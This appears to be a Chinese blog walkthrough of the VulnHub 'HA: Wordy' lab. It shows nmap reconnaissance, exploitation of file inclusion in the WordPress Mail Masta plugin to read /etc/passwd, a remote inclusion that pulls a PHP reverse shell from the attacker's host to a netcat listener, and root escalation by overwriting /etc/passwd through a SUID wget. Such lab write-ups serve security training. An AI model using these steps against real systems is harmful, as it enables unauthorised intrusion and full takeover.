当前位置: 首页 > news >正文

HA: Wordy靶场

HA: Wordy

来自 <HA: Wordy ~ VulnHub>

1,将两台虚拟机网络连接都改为NAT模式

2,攻击机上做namp局域网扫描发现靶机

nmap -sn 192.168.23.0/24

那么攻击机IP为192.168.23.128,靶场IP192.168.23.130

3,对靶机进行端口服务探测

nmap -sV -T4 -p- -A 192.168.23.130

4,这个网站是一个默认页面

dirsearch -u http://192.168.23.130/ -x 403,404

网站应该是一个wordpress建站系统

查看网站安装的插件

检索这个插件存在的漏洞

searchsploit mail masta

然后查看漏洞利用方法

searchsploit -m 40290.txt

cat 40290.txt

http://192.168.23.130/wordpress/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwd

漏洞利用成功,尝试污染日志文件,然后通过文件包含漏洞getshell。

5,第二种方法,测试是否存在远程文件包含漏洞

http://192.168.23.130/wordpress/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=https://www.baidu.com

存在,那么就可以通过远程文件包含漏洞进行写马操作,使用kali自带的木马

cp /usr/share/webshells/php/php-reverse-shell.php .

mv php-reverse-shell.php shell.php

vim shell.php

注意修改反弹shell的IP和端口

python -m http.server

http://192.168.23.130/wordpress/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=http://192.168.23.128:8000/shell.php

与此同时需要打开对4444端口的监听

nc -lvvp 4444

成功getshell

6,使用python脚本启动一个交互式shell,没有python这个命令

查看一下怎么提权

sudo -l

find /  -type f -perm -u=s -user root 2>/dev/null

使用wget -O 提权,利用wget -O命令覆盖/etc/passwd文件

在kali上创建文本文件,取名passwd,并将靶机/etc/passwd文件的内容复制进去。因为之后要覆盖靶机的/etc/passwd,所以名字要一模一样

vim passwd

openssl passwd -1 123456

cat passwd

然后再开启一个

python -m http.server

cd /tmp

wget http://192.168.23.128:8000/passwd

cp passwd /etc/passwd

python3 -c 'import pty;pty.spawn("/bin/bash")'

su

http://www.lqws.cn/news/100009.html

相关文章:

  • 攻防世界-unseping
  • DeepSeek 赋能 NFT:数字艺术创作与交易的革新密码
  • 一个html实现数据库自定义查询
  • DApp 开发:开启去中心化应用新时代
  • 如何避免工具过多导致的效率下降
  • 移动Web Day03
  • 深入解析Linux死锁:原理、原因及解决方案
  • LeetCode刷题 -- 542. 01矩阵 基于 DFS 更新优化的多源最短路径实现
  • 深度学习学习率调度器指南:PyTorch 四大 scheduler 对决
  • 机器学习在多介质环境中多污染物空间预测的应用研究
  • 如何写一条高效分页 SQL?
  • 高考数学易错考点02 | 临阵磨枪
  • Go Modules 详解 -《Go语言实战指南》
  • 【图像处理入门】4. 图像增强技术——对比度与亮度的魔法调节
  • 悟饭游戏厅苹果版(悟饭掌悦)|iOS游戏社区手柄工具
  • 建筑工程施工进度智能编排系统 (SCS-BIM)
  • 基于大模型的短暂性脑缺血发作(TIA)全流程预测与诊疗辅助系统详细技术方案
  • 前端验证下跨域问题(npm验证)
  • 【前端AI实践】简说AI大模型:AI大模型的基本概念和使用
  • WebFuture 系列产品 15.2.4 发布公告
  • 负载均衡相关基本概念
  • grpc的二进制序列化与http的文本协议对比
  • 【IOS】GCD学习
  • 三大中文wordpress原创主题汉主题
  • VUE组件库开发 八股
  • VsCode 安装 Cline 插件并使用免费模型(例如 DeepSeek)
  • 鸿蒙生态再添翼:身份证银行卡识别引领智能识别技术新篇章
  • AIGC学习笔记(9)——AI大模型开发工程师
  • 组相对策略优化(GRPO):原理及源码解析
  • 从测试角度看待CI/CD,敏捷开发